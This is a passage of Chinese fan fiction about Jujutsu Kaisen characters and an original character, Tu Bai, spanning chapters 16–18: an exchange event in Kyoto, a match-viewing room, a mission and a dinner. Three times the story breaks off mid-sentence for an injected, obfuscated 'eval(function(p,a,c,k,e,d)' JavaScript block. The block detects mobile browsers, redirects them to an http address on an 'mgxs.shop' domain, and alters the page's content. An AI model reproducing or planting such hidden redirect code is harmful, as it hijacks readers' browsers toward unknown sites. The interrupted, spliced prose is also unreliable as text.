另一边,涂白冲进教室时已经迟到了五分钟。他溜到后排坐下,心跳还没平复。 脸还在发烫。 他刚才……亲了五条悟? 他居然亲了五条悟?! 涂白把脸埋进手臂里,耳朵又开始发烫——这次是羞的。 他是想反击来着,想看到五条悟愣住的样子,想扳回一城。 但亲完之后……他好像输得更彻底了。 因为现在满脑子都是五条悟僵住的表情,还有自己嘴唇碰到对方脸颊的触感。 软软的,温热的。 涂白甩甩头,想把那些画面甩出去。 手机在口袋里震了一下。他偷偷拿出来看,是五条悟的消息。 看到“围裙我带走了”那句时,涂白脸更红了。 那个粉色兔子围裙…… 五条悟要那个干嘛? 涂白想不明白,也不敢深想。他把手机塞回口袋,强迫自己听讲。 但一整节课,他一个字都没听进去。 16. 第16章:京都姐妹校交流会 周三早上六点,涂白的门就被敲响了。 他睡眼惺忪地开门,五条悟站在外面,手里拎着两个行李箱——都不是他自己的尺寸,一看就是临时买的。 “前辈?”涂白揉眼睛,“这么早……” “收拾东西,去京都。”五条悟挤进门,把一个行李箱推给他,“给你二十分钟,换衣服装行李。车七点准时出发。” 涂白脑子还在重启:“去京都……干嘛?” “姐妹校交流会啊~”五条悟理所当然地说,“带你去见见世面。” “我又不是高专的学生——” “你是特邀观察员。”五条悟从口袋里掏出一张皱巴巴的纸,上面盖着夜蛾正道的章,“夜蛾校长特批的。快去快去,要迟到了。” 涂白被推进卧室。他迷迷糊糊换了衣服——简单的白T恤和黑色运动裤,往行李箱里塞了几件换洗衣物和洗漱用品,就被五条悟拉着出了门。 楼下停着一辆专车。车门开着,虎杖悠仁已经在里面了,正兴奋地朝他们挥手:“五条老师!涂白前辈!这边!” 涂白上车,五条悟把行李箱塞进后备箱,然后坐到他旁边。车开了。 “虎杖,”五条悟转头看向后排,“伏黑和钉崎已经跟二年级的先走了,我们这车就我们三个。” “我知道!”虎杖眼睛发亮,“老师说有惊喜要准备,是什么啊?” 五条悟笑了,笑容里带着涂白熟悉的、恶作剧的味道:“你之前不是‘死’过一次吗?伏黑和钉崎都以为你真死了,伤心了好一阵呢。” 虎杖表情僵了下:“……对哦。” “所以这次,我们给他们一个惊喜。”五条悟从座位底下拖出一个大纸箱——真不知道他什么时候塞进去的,“你躲进这个箱子里,等到了京都校,我让人把你抬到他们面前。然后——” 他做了个“砰”的手势:“突然冒出来!惊不惊喜?意不意外?” 虎杖愣了两秒,然后兴奋地拍大腿:“好主意!他们肯定会吓一跳!” 涂白在旁边欲言又止。 他看了看那个箱子——不大不小,虎杖缩进去应该刚好。又看了看五条悟脸上的笑——那种“我要搞事了”的笑。 再看了看虎杖单纯兴奋的表情。 涂白张了张嘴,想说“这可能会被打”,但话到嘴边又咽回去了。 算了。 俗话说死贫道不死道友。难得五条悟没把主意打到自己身上,就让虎杖……自求多福吧。 涂白默默往车窗边挪了挪,降低存在感。 车开了三个多小时。途中虎杖真的钻进了那个箱子,五条悟还在上面贴了张“易碎品”的标签。涂白一路看着窗外飞速倒退的景色,假装自己不存在。 到京都校时快十一点。车直接开进校园,停在一栋古朴的建筑前。 “到了。”五条悟下车,敲了敲后备箱,“箱子抬出来,小心点~” 涂白帮忙把箱子抬下来——还挺沉的。五条悟指挥两个路过的京都校学生:“麻烦把这个箱子送到东京校的休息室,说是五条老师送的礼物。” 学生疑惑地看了箱子一眼,但不敢多问,抬着走了。 五条悟转身,揽住涂白的肩膀:“走,我们也过去。看好戏~” 涂白被他半拖半拽地往休息室走。京都校的校园比东京校更古雅,建筑是传统的日式风格,庭院里种满了枫树,虽然还没到红叶的季节,但绿意盎然。 走到休息室门口,就听见里面传来声音。 “五条老师送的礼物?”是钉崎的声音,“那家伙又想干嘛……” “打开看看?”另一个女声,涂白没听过。 然后是一阵拆箱子的声音。 紧接着—— “Surprise!!!”是虎杖从箱子里蹦出来的声音。 然后是死一般的寂静。 三秒过后。 “虎杖悠仁——!!!!!”钉崎的尖叫声几乎掀翻屋顶。 再然后就是“咚!”“砰!”“啊!”的混乱声响。 涂白站在门外,透过门缝往里看。虎杖被钉崎用锤子追着打,伏黑虽然没动手,但脸色黑得像锅底,手里捏着咒印,影子蠢蠢欲动。 房间里还有另外三个人。一个黑色长发的女生,扎着高马尾,戴着眼镜,表情冷淡;一个白色短发、用高领遮住下半张脸的男生;还有一个…… 涂白眼睛睁大了。 那竟然是个熊猫。真的熊猫,黑白相间,圆滚滚的,站在那里,还会动。 “熊猫……?”涂白脱口而出。 五条悟笑了:“那是熊猫,二年级的,是个咒骸哦~” “咒骸?” “就是咒术制造的玩偶啦~”五条悟推开门,“哟,都在呢?” 房间里瞬间安静。所有人都看过来。 虎杖躲在桌子后面,头上肿了个包。钉崎还举着锤子,喘着气。伏黑收回咒印。二年级的三人都看向门口。 黑色长发的女生——禅院真希——推了推眼镜:“五条老师,这位是?” “涂白,一级咒术师,这次特邀来观察交流会的。”五条悟把涂白往前推了推,“小白,这是真希,二年级的。这是狗卷棘,这是熊猫。” 狗卷棘拉了下高领:“鲑鱼。” 熊猫挥了挥爪子:“你好呀~” 涂白还有点懵,但礼貌点头:“你们好。” 虎杖从桌子后面钻出来:“涂白前辈很厉害的!构筑术式超强!” 真希打量涂白,眼神锐利:“构筑术式?你是五条老师的……” “搭档。”涂白抢答。 钉崎在旁边冷笑一声:“呵,男人。” 涂白假装没听见。 熊猫凑过来,鼻子动了动,圆圆的黑眼睛盯着涂白看了一会儿:“唔……你身上有股特别的味道。” 涂白心里一紧:“什么味道?” “说不清……”熊猫歪头,“有点像……森林?但又不太一样。” 五条悟插话:“好了好了,别围观了。交流会下午开始,你们该准备准备了。” 学生们散开去准备。五条悟拉着涂白走出休息室,在校园里闲逛。 逛到主楼前时,碰上了京都校的人。 领头的是个穿着巫女服的女人,黑色长发,表情严肃——是庵歌姬。她身后跟着几个学生:一个身材高大、留着和尚头的男生(东堂葵),一个扎着丸子头、笑容温和的男生(加茂宪纪),还有几个涂白不认识的学生。 歌姬看见五条悟,眉头立刻皱起来:“五条,你又想干嘛?” “带我家兔子来参观啊~”五条悟很自然地揽住涂白肩膀,“歌姬你看,可爱吧?” 歌姬看向涂白,愣了下:“涂白君?你不是高专的学生吧?” 涂白点头:“我是一级咒术师,这次是特邀观察员。” “一级?”歌姬挑眉,然后瞪向五条悟,“你别祸害普通人——” “他都一级了还算普通人?”五条悟笑。 歌姬噎住。她仔细打量涂白,眼神复杂,最后叹了口气:“算了,你爱怎样怎样。但交流会期间别搞事,听到没?” “我什么时候搞过事~” 歌姬翻了个白眼,带着学生走了。 但那个高大的和尚头男生——东堂葵——没走。他走过来,站在涂白面前,身高比涂白高出一个头还多,俯视着他。 “你,”东堂开口,声音低沉,“喜欢什么类型的女人?” 涂白愣住。 这是什么问题? 他下意识看向五条悟,五条悟正笑眯眯地看着他,一副“我也想知道”的表情。 涂白脑子有点乱。他从来没想过这个问题。喜欢什么类型的女人?他…… 脑子里突然闪过一张脸。 白头发,墨镜,漂亮的冰蓝色的眼睛,总是带着笑意但是看起来极其欠扁的嘴角。 那是五条悟的脸。 涂白的脸“唰”地一下变的通红。 “我、我……”他结结巴巴,“应该,可能……喜欢……个子高的……吧?” 说完他就后悔了。这什么烂回答? 但东堂眼睛一亮:“个子高的?多高?” “就……高一点的……”涂白想抽自己。 “具体的呢?一米七?一米八?还是——”东堂看向五条悟,“像五条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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涂白一个人站在走廊里,有点不知道该干嘛。 熊猫走过来:“无聊吗?我带你去逛逛?” “可以吗?” “当然~反正我也没事。”熊猫迈着内八字步往前走,“京都校比东京校大一点,后面还有训练场和神社……” 涂白跟上去。熊猫是个很健谈的向导,一边走一边介绍,偶尔还讲讲京都校学生的八卦。 “那个东堂,喜欢一个叫小高田的偶像,每次演唱会必去。” “加茂家的那个,有点古板,但人不坏。” “还有三轮,挺努力的女生,就是运气不太好……” 涂白听着,觉得挺有意思。他很少接触其他咒术师,尤其是非东京校的。 走到庭院时,他们看到真希和狗卷正在和一个京都校的女生说话。女生短发,看起来很干练。 “那是三轮霞。”熊猫说,“京都校的二年级,用刀的。” 三轮看到他们,点头致意。她的视线在涂白身上停了下,然后问熊猫:“这位是?” “东京校的客人,涂白君,一级咒术师。” “一级?”三轮惊讶,“这么年轻?” “自学成才哦~”熊猫笑。 三轮看向涂白的眼神多了些敬佩:“厉害。” 涂白被夸得不好意思:“没有……” “涂白君的术式是构筑。”熊猫补充,“能造出各种东西。” “哦?”三轮感兴趣了,“能构筑刀吗?” “……能。” “那有空可以切磋一下吗?我想看看构筑的刀和真实的刀有什么不同。” 涂白点头:“好。” 他们在庭院里聊了一会儿,直到五条悟开完会回来。 “哟,聊得挺开心嘛~”五条悟走过来,很自然地又把手搭在涂白肩上,“小白,歌姬说你可以当特邀观察员,不用参加比赛,就坐在我旁边看。” “……哦。” “下午比赛两点开始,现在先去吃饭。”五条悟揽着他往食堂走,“京都校的伙食还不错,尤其是天妇罗~” 涂白被他带着走,回头对熊猫和三轮挥了挥手。 熊猫笑着挥手回应。 三轮小声对真希说:“五条老师和那位涂白君……关系真好。” 真希推了推眼镜:“谁知道呢。” 狗卷看着两人走远的背影,吐出两个字: “鲑鱼子。” 17. 第17章:观赛室里的暗流 观赛室在京都校主楼的三楼,是个和式房间,铺着榻榻米,中间摆了一张长桌。墙壁上挂着几个大屏幕,正显示着山林结界的各个角度——是冥冥的乌鸦传回来的实时画面。 涂白跟着五条悟进去的时候,里面已经坐了好几个人。 夜蛾正道坐在主位,双手抱胸,表情严肃。旁边是个光头老人,穿着和服,手里拄着拐杖,眼神锐利——应该就是京都校的校长乐岩寺嘉伸。 家入硝子坐在靠窗的位置,正在看手机,抬眼看了下涂白,点点头算是打招呼。庵歌姬坐在她对面,脸色不太好,看到五条悟进来时明显翻了个白眼。 伊地知洁高缩在角落,面前摆着笔记本电脑,正在调试设备。而房间另一侧,一个银色长发的女人正靠墙站着,手里拿着个平板——是冥冥。 “哟,都到齐了~”五条悟拉着涂白走到长桌边,很自然地坐了下来,然后拍拍旁边的位置,“小白,坐这儿。” 涂白坐下,感觉所有人的目光都集中在自己身上。 夜蛾开口:“涂白君,欢迎。这次麻烦你担任观察员了。” “不麻烦。”涂白说。 乐岩寺打量他,声音低沉:“你就是那个非科班出身的一级?构筑术式?” “是的。” “哼。”乐岩寺没再说什么,但眼神里的审视意味很浓。 冥冥走过来,递给他一个耳机:“涂白君对吧?这是通讯器,可以听到现场的声音。我是冥冥,负责转播。” 涂白接过:“谢谢。” 冥冥笑了,右眼弯起来:“不客气。五条,你这次带的‘观察员’挺有意思的。” 五条悟揽住涂白肩膀:“是吧?我家兔子可爱吧?” 涂白想躲,但五条悟手劲很大。他只能低头摆弄耳机,假装没听见。 歌姬冷笑一声:“你收敛点,现在是正式场合。” “我很正式啊~”五条悟无辜地说,但手还是松开了。 屏幕上的画面开始移动。乌鸦飞过山林,可以看到两校的学生已经进入结界,分别站在东西两侧。东京校这边,虎杖、伏黑、钉崎站在前排,二年级的三人在后面。京都校那边,东堂、加茂领队,后面跟着其他学生。 伊地知调试好设备,看向夜蛾:“校长,可以开始了。” 夜蛾点头,看向五条悟:“你宣布吧。” 五条悟拿起桌上的麦克风,清了清嗓子:“喂喂~听得到吗?比赛的学生们,听好咯——” 他的声音通过扩音器传遍整个结界,连观赛室的屏幕都带着回声。 “规则很简单:祓除咒灵得分,二级1分,一级5分,准一级10分。可以互相攻击抢夺积分。时限三小时。现在——” 他故意停顿,然后大喊:“开始!” 话音刚落,屏幕上的学生们就动了。 东京校这边,虎杖第一个冲出去,伏黑和钉崎紧随其后。二年级的真希、狗卷、熊猫则往另一个方向移动,显然是分头行动。 京都校那边,东堂大笑着追向虎杖,加茂则带着其他人朝伏黑的方向去了。 “这么快就对上了?”歌姬皱眉。 “东堂那小子……”乐岩寺哼了一声,“总是随心所欲。” 五条悟摘下麦克风,往椅背上一靠,侧头看向涂白:“你觉得东堂会怎么攻?” 涂白正盯着屏幕。东堂已经追上虎杖,两人在山林间对峙。东堂身材高大,虎杖虽然也不矮,但对比之下还是显得小了一圈。 “他会先试探。”涂白说,“东堂看起来很直率,但战斗时应该很谨慎。他会先了解虎杖的体术习惯,再决定怎么打。” “哦?”五条悟挑眉,“那加茂呢?他的赤血操术弱点在哪?” 涂白看向另一个屏幕。加茂已经和伏黑交上手了。加茂的术式是操控血液,能凝结成各种形状攻击。伏黑则用式神应对。 “赤血操术的弱点是距离。”涂白说,“血液离体越远,控制越难。加茂现在用的是中距离攻击,但如果伏黑能拉开距离,或者用大范围式神牵制,就能逼他改变战术。” 他说着,手在桌上轻轻一点。银色妖力从指尖溢出,在桌面上构筑出一个简易的山林沙盘,上面有几个小人代表双方学生。 乐岩寺侧目看过来。 夜蛾也注意到了:“这是……” “实时模拟。”涂白解释,“我用妖力复刻了结界的地形和学生位置,可以预测战局走向。” 沙盘上的小人动了起来。代表虎杖和东堂的小人开始交手,代表伏黑和加茂的小人也在移动。涂白手指轻划,沙盘上的地形随之变化。 “这里。”他指着一个山谷,“如果虎杖能把东堂引到这里,利用地形限制他的移动空间,就有机会反击。” 五条悟托着下巴看他,眼睛弯起来:“厉害啊小白~” 涂白耳朵一热:“只是基本分析……” 歌姬看着沙盘,表情复杂:“你以前学过战术?” “自学的。”涂白说,“构筑术式需要预判各种情况,所以习惯了。” 冥冥走过来,饶有兴趣地看着沙盘:“这个能力很有商业价值呢。涂白君,有兴趣接私活吗?我可以给你介绍客户。” 五条悟立刻插话:“我家兔子不接私活~” 冥冥笑:“‘我家的’?五条,你确定?涂白君好像可不这么认为哦?” 她看向涂白。 涂白停顿了一下。他其实没想过接私活,但冥冥的话让他有点心动——本来他做咒术师就是为了赚钱。 他没有否认冥冥的话,而是伸手接过冥冥递来的名片:“谢谢,有需要的话我会联系的。” 五条悟脸上的笑容僵了一下。他放在桌下的手忽然收紧了,然后又松开。 “小白。”五条悟的声音还是带笑,但有点冷,“你确定?” “只是留个联系方式。”涂白把名片收进口袋,“又不一定接。” 五条悟盯着他看了两秒,然后突然伸手,捏住他的脸颊,往两边轻轻一扯。 “你干嘛——!”涂白拍他的手。 “惩罚你不听话~”五条悟笑着说,但眼神里有点涂白看不懂的情绪,“作为我的搭档怎么能接私活呢?缺钱跟我说啊,我养你。” “谁要你养!”涂白气鼓鼓地瞪他,脸被捏得有点变形。 五条悟这才松手,还顺手揉了揉他被捏红的地方:“好啦好啦,开玩笑的~” 但涂白觉得他不是完全在开玩笑。 歌姬翻了个白眼:“你们要打情骂俏出去打,别影响观赛。” 硝子轻笑了一声,没说话。 乐岩寺则一直盯着涂白构筑的沙盘,表情严肃。过了一会儿,他开口:“涂白君,你这个模拟……准确率有多少?” “百分之八十左右。”涂白说,“但实战会有变数,只能做参考。” “已经很难得了。”乐岩寺说,“难怪五条会看中你。” 这话说得意味深长。涂白不知道怎么接,只能点头。 比赛继续进行。 屏幕上的战况很激烈。虎杖和东堂打得难分难解,东堂的体术强得离谱,但虎杖也不弱,两人在山林间穿梭,所过之处树木倒了一片。 伏黑和加茂那边则是术式对决。加茂的赤血操术变化多端,伏黑的式神也不断切换,两人都在试探对方的极限。 钉崎和京都校的一个女生对上了——是三轮霞。两人都用刀,打起来刀光剑影,很是精彩。 二年级的真希对上了京都校的另一个学生,狗卷和熊猫则被两个人围攻。 涂白一边看屏幕,一边调整沙盘。他的预测大部分都中了,偶尔有偏差,但也很快修正。 五条悟全程没怎么关注比赛,注意力基本在涂白身上。 比赛进行到一个半小时时,变故发生了。 虎杖被东堂逼到了绝境。东堂的术式“不义游戏”发动,通过拍手交换位置,把虎杖困在了一个狭窄的山谷里。 “糟了。”涂白下意识抓紧膝盖。 屏幕上,虎杖喘着气,身上已经有不少伤。东堂站在他对面,表情兴奋。 “要输了吗……”涂白皱眉。 五条悟没说话。他放在桌下的手动了动,然后覆在了涂白的手背上。 掌心温度传来,干燥,温暖。 涂白一愣,抬头看他。 五条悟没看他,眼睛盯着屏幕,但手轻轻握了握涂白的手:“相信他们。” “……嗯。” 涂白稍微放松了点,但手没抽回来。五条悟的手很大,完全包裹住了他的手。温度透过皮肤传过来,有点烫。 屏幕上的虎杖突然动了。 他深吸一口气,然后笑了,对东堂说了句什么(没声音,但从口型看好像是“谢谢”),然后猛地冲了出去。 不是冲向山谷出口,而是冲向侧面的岩壁。 “他要干嘛?”伊地知惊讶。 虎杖一脚踩在岩壁上,借力反冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123008|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个人像炮弹一样射向东堂。东堂显然没料到这一招,仓促抬手格挡。 “砰!” 两人撞在一起,然后分开。虎杖落地,踉跄了一下,但站稳了。东堂后退了两步,手臂上多了道伤口。 虎杖反败为胜。 “漂亮!”涂白眼睛一亮,脱口而出。 五条悟笑了,手还握着涂白的手:“看吧,我说了要相信他们。” 涂白这才意识到手还被握着,赶紧抽回来。五条悟也没强留,自然地收回手,好像刚才什么都没发生。 但涂白的手背上还残留着温度。 比赛继续。之后的发展基本在涂白的预测内:虎杖和东堂打成了平手,各自退开;伏黑和加茂也暂时休战;钉崎和三轮的刀术对决以钉崎小胜结束;二年级那边,真希赢了,狗卷和熊猫也解决了对手。 积分统计,东京校略占优势。 就在所有人都以为比赛会这样平稳结束时,涂白的手机突然响了。 他拿出来看,是东大导师打来的。他皱眉,接起来:“喂,老师?” 电话那头说了几句,涂白的表情变了。 “现在吗?……好,我知道了。我马上回去。” 他挂断电话,看向夜蛾:“校长,抱歉,学校有急事,我得先回东京。” 夜蛾点头:“去吧,路上小心。” 五条悟皱眉:“什么事这么急?” “研究课题的数据出了问题,导师让我马上回去处理。”涂白站起来,“抱歉前辈,不能看完比赛了。” 五条悟盯着他看了几秒,然后叹了口气:“行吧,我让人送你。” “不用,我自己——” “伊地知。”五条悟打断他,“送小白回东京。” 伊地知赶紧站起来:“是!” 涂白还想说什么,但五条悟已经转头看向屏幕,摆摆手:“快去快回。” “……嗯。” 涂白跟着伊地知离开观赛室。出门前,他回头看了一眼。 五条悟坐在那里,背对着他,肩膀线条有点紧绷。冥冥走到五条悟旁边,说了句什么,五条悟笑了。 涂白心里莫名堵了一下。 但他没时间多想,匆匆跟着伊地知下楼了。 回东京的路上,涂白一直看着窗外。手机震动,是五条悟发来的消息。 【到了说一声。】 涂白回:【好。】 过了一会儿,五条悟又发来一条: 【冥冥的名片,扔了。】 涂白盯着这条消息,看了很久。 他打了一行字:【为什么?】 又删掉。 最后回了个:【哦。】 五条悟没再回复。 车开到东大时已经是傍晚。涂白下车,对伊地知道谢,然后匆匆跑向实验室。 处理完数据问题,已经是晚上八点。导师拍他肩膀:“辛苦了,今天多亏你赶回来。” “应该的。”涂白说。 他走出实验楼,夜色已经深了。手机上有几条未读消息,都是五条悟发来的。 【比赛结束了,东京校赢。】 【你猜怎么着?中途有咒灵来捣乱,特级的,还设了帐。】 【不过解决了,没事。】 【你在干嘛?】 最后一条是十分钟前发的。 涂白靠在墙边,一条一条地回。 【刚忙完。】 【咒灵?严重吗?】 【你们没事吧?】 五条悟秒回: 【不严重,小问题。】 【我能有什么事~】 【你呢?吃饭没?】 涂白这才想起自己还没吃晚饭:【还没。】 五条悟发来一张照片,是一桌丰盛的晚餐,背景是京都的餐厅:【我们在庆祝,你吃不到~】 涂白:“……” 五条悟又发:【开玩笑的,给你留了甜品,回来给你。】 涂白看着这条消息,心里那点堵着的感觉,慢慢散开了。 他回:【好。】 然后想了想,又发了一条: 【冥冥的名片,我收起来了,但不会随便接私活。】 这次五条悟隔了一会儿才回: 【嗯。】 然后又发: 【早点休息,明天见。】 涂白看着“明天见”三个字,嘴角不自觉地扬了扬。 【明天见。】 18. 第18章:醉酒 从京都回来的第三天,五条悟说要带涂白去高专拿资料。 “什么资料?”涂白问。 “你上次构筑的结界数据分析,硝子整理出来了。”五条悟在电话里说,“还有几个咒具的设计图,你看看能不能复制。” 涂白答应了。下午没课,他去了高专。 校园里很安静,这个时间点学生们应该都在上课或者训练。五条悟在教学楼门口等他,还是那副打扮——白头发,小圆墨镜,黑色高专制服外套随意披着。 “哟,挺准时。”五条悟招手,“走,资料在校长室。” “校长室?” “夜蛾说要亲自给你。”五条悟耸耸肩,“估计是想看看你吧。” 涂白有点紧张。夜蛾正道给他的印象是严肃、不苟言笑的那种长辈。虽然上次在京都观赛室见过,但没怎么说话。 两人上到三楼,走到校长室门口。五条悟敲了敲门。 “进来。”里面传来夜蛾的声音。 推门进去。校长室很大,靠墙的架子上摆满了各种玩偶,大部分是半成品,有些还只有骨架。夜蛾坐在办公桌后面,正在缝一个熊猫玩偶的耳朵——涂白认出那是熊猫的款式。 “夜蛾。”五条悟打招呼。 夜蛾放下针线,抬头。他的目光先落在五条悟身上,然后移到涂白身上。 “涂白君,坐。”夜蛾指了指办公桌前的椅子。 涂白坐下。五条悟很自然地靠在他旁边的墙上,双手插在口袋里。 夜蛾从抽屉里拿出一个文件夹,推给涂白:“这是你上次构筑结界的能量分析报告,还有几个特级咒具的设计图。你看看,有不懂的问硝子或者悟。” 涂白接过文件夹,翻开看了几眼。报告很详细,连妖力纹路的细微变化都记录了。设计图也很复杂,有些结构他看不懂。 “谢谢校长。”他说。 夜蛾点头,然后看向五条悟:“你最近很少来学校。” 五条悟笑:“在忙~” “忙什么?” “任务啊,还有带小白。”五条悟很自然地说,“他很能干的,帮了不少忙。” 夜蛾沉默了几秒,然后站起来:“涂白君,你能先出去一下吗?我和悟说几句话。” 涂白愣了下,看向五条悟。五条悟对他点点头:“去走廊等我,很快。” “……好。” 涂白拿着文件夹走出校长室,轻轻关上门。走廊里很安静,能隐约听见远处训练场传来的声音。他靠在墙上,翻开文件夹继续看。 门内,夜蛾走回办公桌后,双手撑在桌面上,看着五条悟。 “你知道高层在关注他。”夜蛾开门见山。 五条悟脸上的笑容淡了点:“哦?” “他的身份经不起查。”夜蛾说,“非科班出身,突然冒出来的一级,术式还这么特殊……已经有人提议重新审核他的档案了。” “那就让他们审。”五条悟语气轻松,“小白的档案我做得很完美,查不出问题。” “如果查的是他的种族呢?”夜蛾盯着他,“你知道我在说什么。他不是人类,对吧?” 五条悟没说话。墨镜后的眼睛看不清情绪。 “我能看出来,歌姬也能看出来,乐岩寺那只老狐狸肯定也怀疑。”夜蛾继续说,“只是现在还没人敢动他,因为他是你的人。” “所以?” “所以你最好想清楚。”夜蛾声音低沉,“悟,你以前不会为这种事费心。一个非人咒术师,换做以前,你顶多觉得有趣,玩几天就扔了。但现在……” 他停顿了一下:“你最近推掉了很多远程任务,就为了留在东京。你去京都都要带着他。你甚至在高层会议上公开维护他。” 夜蛾直视五条悟:“他很重要?” 五条悟沉默了两秒。 然后他说:“嗯。” 就一个字,但语气很认真。 夜蛾看着他,看了很久,最后叹了口气:“我知道了。” “所以?” “所以我会帮忙。”夜蛾说,“但他的身份,能瞒多久瞒多久。你也准备一下,万一瞒不住了……” “那就摊牌。”五条悟说,“我护着他。” 夜蛾摇头:“你护得了一时,护不了一世。咒术界那些老东西——” “我能护。”五条悟打断他,声音平静,“我说能就能。” 空气安静了几秒。 夜蛾终于点头:“行。那你自己小心。” 五条悟笑了,笑容重新回到脸上:“谢啦,夜蛾~” 他转身要走,夜蛾又叫住他:“悟。” “嗯?” “对他好点。”夜蛾说,“那孩子看起来……挺不容易的。” 五条悟停顿了一下,没回头,只是挥了挥手:“知道啦。” 他拉开门,涂白正站在走廊里,低头看文件,看得很认真。 “走了。”五条悟说。 涂白抬头,合上文件夹:“谈完了?” “嗯。”五条悟揽住他的肩膀,“走吧,请你吃好吃的~” 两人下楼。走到教学楼门口时,涂白忍不住问:“校长刚才……说了什么?” 五条悟侧头看他,然后伸手,揉了揉他的头发:“让我好好照顾你。” 涂白皱眉,把他的手拍开:“我又不是小孩……” “我知道。”五条悟说,声音忽然低了些,“你是涂白,一级咒术师,东大学生,怕咒灵但很能打,喜欢芒果讨厌酸,笑起来很好看。” 涂白愣住。 五条悟数得这么清楚? 他抬头看五条悟,五条悟也正看着他,墨镜滑下一点,冰蓝色的眼睛在阳光下显得很清澈。 “所以,”五条悟笑,“不用夜蛾说,我也会照顾你。” 涂白耳朵有点热,别开视线:“……哦。” 五条悟笑着收回手,两人继续往校门口走。 --- 三天后,一个特级任务。 目标是个很难缠的咒灵,能分裂,能寄生,还能吸收术式能量。五条悟和涂白在山里追了它整整六个小时,最后才在一个山谷里把它困住。 “小白,左边!”五条悟喊。 涂白双手按地,银色妖力涌出,在山谷左侧构筑出一面巨大的镜面墙。咒灵分裂出的一个分身撞在墙上,被反弹回去。 “右边也有!”涂白喊。 五条悟瞬移过去,抬手:“苍。” 蓝色光球射出,把右边的分身碾碎。 咒灵本体藏在山谷深处,正试图钻地逃跑。涂白闭上眼睛,妖力感知全开。 “地下十五米,正下方。”他说。 五条悟双手合十:“虚式——‘茈’。” 紫黑色的光束贯穿地面,整个山谷都在震动。烟尘散去后,地上留下一个深不见底的洞,咒灵的气息彻底消失了。 涂白松了口气,腿一软,差点坐地上。五条悟闪过来扶住他。 “没事吧?” “妖力有点透支……”涂白喘气,“休息一下就好。” 五条悟把他扶到一块石头边坐下,自己也在旁边坐下。两人靠得很近,肩膀挨着肩膀。 夕阳把山谷染成金色。远处有鸟叫,风吹过树叶,沙沙响。 “配合得不错。”五条悟说,“你构筑镜面墙的时机刚刚好。” “……前辈的‘茈’也很准。” “那当然~” 两人沉默了一会儿。涂白感觉妖力在慢慢恢复,但身体还是很累。他靠着石头,闭上眼睛。 五条悟侧头看他。涂白的侧脸在夕阳下显得很柔和,睫毛很长,鼻梁挺直,嘴唇微微抿着。头发有点乱,沾了灰尘和草屑。 五条悟伸手,把他头发上的一根草叶摘下来。 涂白睁开眼睛。 “有草。”五条悟把草叶给他看。 “……谢谢。” 五条悟笑,把草叶扔了,然后站起来,伸手拉涂白:“走吧,回东京。我订了餐厅,庆祝一下。” 涂白被他拉起来:“餐厅?” “嗯,高级餐厅。”五条悟眨眨眼,“烛光晚餐哦~” --- 餐厅在六本木一栋大厦的顶层,落地窗能俯瞰整个东京的夜景。里面灯光昏暗,每张桌子上都点着蜡烛,气氛确实很浪漫。 涂白坐在五条悟对面,有点不自在。他穿着简单的白衬衫和黑裤子,五条悟也换了身衣服——白色的西装外套,没打领带,扣子解开了两颗。 “两位喝点什么?”服务员问。 五条悟翻开酒单:“嗯……这个桃子味的果酒,来一瓶。再来两杯水。” “好的。” 酒上来后,五条悟给两人各倒了一杯。淡粉色的液体在玻璃杯里晃荡,很漂亮。 “庆祝我们第一次完美配合。”五条悟举杯。 涂白和他碰杯,喝了一口。酒很甜,桃子味很浓,几乎没什么酒味。 “好喝。”他说。 “对吧~”五条悟笑,“这家的果酒很有名。” 菜一道道上来。涂白其实不太懂法餐,但每道菜都很好吃。五条悟一边吃一边给他介绍,这是什么酱,那是什么做法,说得头头是道。 “前辈经常来这种地方?”涂白问。 “偶尔。”五条悟说,“任务结束后,或者心情好的时候。” “今天心情很好?” “嗯。”五条悟托着下巴看他,“和小白一起完成任务,心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123009|195985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别好。” 涂白低头切牛排,耳朵有点热。 酒喝到第二杯的时候,涂白开始觉得晕。他酒量本来就浅,这果酒虽然甜,但后劲不小。他感觉脸颊发热,话也多了起来。 “前辈,”他说,“你知道吗,我小时候的梦想特别傻。” “哦?什么梦想?” “我想当胡萝卜农夫。”涂白说着自己都笑了,“就……种一大片胡萝卜,每天浇水,除草,等它们长大了就拔出来吃。” 五条悟也笑:“为什么是胡萝卜?” “因为我最喜欢胡萝卜啊。”涂白理所当然地说,“而且胡萝卜好种,不容易死。我那时候想,以后要是当不了咒术师,就去种胡萝卜。” “然后呢?” “然后被我大哥笑了。”涂白撇嘴,“他说‘二宝你傻不傻,种胡萝卜能赚几个钱’,还说我应该去当建筑师,因为我的构筑术式很适合。” “那你现在也可以种啊。”五条悟说,“用术式,想要多少胡萝卜有多少。” 涂白眼睛一亮:“对哦!” 他抬手就想构筑,被五条悟按住:“别,在餐厅呢。回去再种。” “哦……”涂白放下手,但眼睛还是亮的,“那我能种一片胡萝卜田吗?就在公寓阳台?” “阳台太小了吧。” “那……屋顶?” “会被物业投诉的。” “那……”涂白皱眉,很认真地思考,“那我去乡下买块地!” 五条悟笑出声:“行啊,我出钱,你出力。种出来的胡萝卜分我一半。” “成交!”涂白伸手,五条悟和他击掌。 